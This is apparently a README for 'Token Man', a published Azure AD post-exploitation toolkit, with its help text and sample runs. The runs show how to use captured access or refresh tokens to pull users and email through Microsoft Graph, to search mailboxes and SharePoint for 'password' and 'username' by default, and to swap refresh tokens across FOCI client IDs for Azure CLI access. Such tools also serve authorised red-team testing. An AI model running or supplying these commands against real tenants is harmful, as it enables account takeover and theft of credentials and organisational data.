secureworks/tokenmanPost-Exploitation-Toolkit für Azure AD: Microsoft-Graph-Daten abrufen/durchsuchen, FOCI-Refresh-Tokens austauschen und Azure-CLI-Authentifizierungsdateien aus Tokens generieren.
Access- und Refresh-Token-Suite.
Token Man ist ein Tool zur Unterstützung von Post-Exploitation-Aktivitäten mithilfe von AAD-Access- und/oder -Refresh-Tokens.
usage: tokenman.py [-h] {fetch,search,swap,az,oauth} ...
Token Man -- v0.1.1
positional arguments:
{fetch,search,swap,az,oauth}
Command
fetch Retrieve data via Graph API
search Search content via Graph API
swap Exchange a refresh token
az Generate Azure CLI authentication files
oauth Perform OAuth device code flow
options:
-h, --help show this help message and exit
Ruft angegebene Daten über die Microsoft Graph API ab.
usage: tokenman.py fetch [-h] [--debug] [-r REFRESH_TOKEN | -a ACCESS_TOKEN] [--proxy PROXY]
[-m MODULE]
options:
-h, --help show this help message and exit
--debug enable debugging
-r REFRESH_TOKEN, --refresh-token REFRESH_TOKEN
AAD refresh token
-a ACCESS_TOKEN, --access-token ACCESS_TOKEN
AAD access token
--proxy PROXY
HTTP proxy url (e.g. http://127.0.0.1:8080)
-m MODULE, --module MODULE
fetch module(s) to run (comma delimited)
(all | applications,drives,emails,groups,organizations,serviceprincipals,users)
[default: all]
> python3 tokenman.py fetch -r "0.AW8AD..." -m users
[2022-10-13 18:59:26,314] [info] Acquiring new token for: 'Microsoft Office'
[2022-10-13 18:59:30,546] [info] Fetching users
[2022-10-13 18:59:32,455] [info] Users: 78
[2022-10-13 18:59:32,455] [info] Output: data/fetch.users.20221013225932.json
Durchsucht die Inhalte einer angegebenen Entität über die Microsoft Graph API nach Schlüsselwörtern.
usage: tokenman.py search [-h] [--debug] [-r REFRESH_TOKEN | -a ACCESS_TOKEN] [--proxy PROXY]
[-m MODULE] [--keyword KEYWORD]
options:
-h, --help show this help message and exit
--debug enable debugging
-r REFRESH_TOKEN, --refresh-token REFRESH_TOKEN
AAD refresh token
-a ACCESS_TOKEN, --access-token ACCESS_TOKEN
AAD access token
--proxy PROXY
HTTP proxy url (e.g. http://127.0.0.1:8080)
-m MODULE, --module MODULE
search module(s) to run (comma delimited)
(all | messages,onedrive,sharepoint)
[default: all]
--keyword KEYWORD
keyword(s) to search for (comma delimited)
[default: password,username]
> python3 tokenman.py search -r "0.AW8AD..." -m messages --keyword password
[2022-10-13 19:06:56,652] [info] Acquiring new token for: 'Microsoft Office'
[2022-10-13 19:07:00,135] [info] Searching 'messages' for: ['password']
[2022-10-13 19:07:03,618] [info] Search Results: 1
[2022-10-13 19:07:03,618] [info] Output: data/search.messages.20221013230703.json
Tauscht das angegebene Refresh-Token über die Familie von Client-IDs (FOCI) gegen eine andere Client-ID aus.
usage: tokenman.py swap [-h] [--debug] [-r REFRESH_TOKEN | -a ACCESS_TOKEN] [--proxy PROXY]
[--list] [-c CLIENT_ID] [--resource RESOURCE] [--scope SCOPE]
options:
-h, --help show this help message and exit
--debug enable debugging
-r REFRESH_TOKEN, --refresh-token REFRESH_TOKEN
AAD refresh token
-a ACCESS_TOKEN, --access-token ACCESS_TOKEN
AAD access token
--proxy PROXY
HTTP proxy url (e.g. http://127.0.0.1:8080)
--list list foci client id and name mapping
-c CLIENT_ID, --client-id CLIENT_ID
application client id or name to exchange token for
--resource RESOURCE
token resource (audience)
--scope SCOPE
token scope (comma delimited) [default: .default]
> python3 tokenman.py swap -r "0.AW8AD..." -c "Microsoft Azure CLI" --resource https://management.azure.com
[2022-10-13 16:36:46,653] [info] Acquiring new token for: '04b07795-8ddb-461a-bbee-02f9e1bf7b46'
[2022-10-13 16:36:55,557] [info] Output: data/token.04b07795-8ddb-461a-bbee-02f9e1bf7b46.20221013203655.json
[2022-10-13 16:36:55,557] [info] Access Token:
eyJ0e...
Über das
--list-Flag stammen die meisten dieser Werte aus der Forschung: Family of Client IDs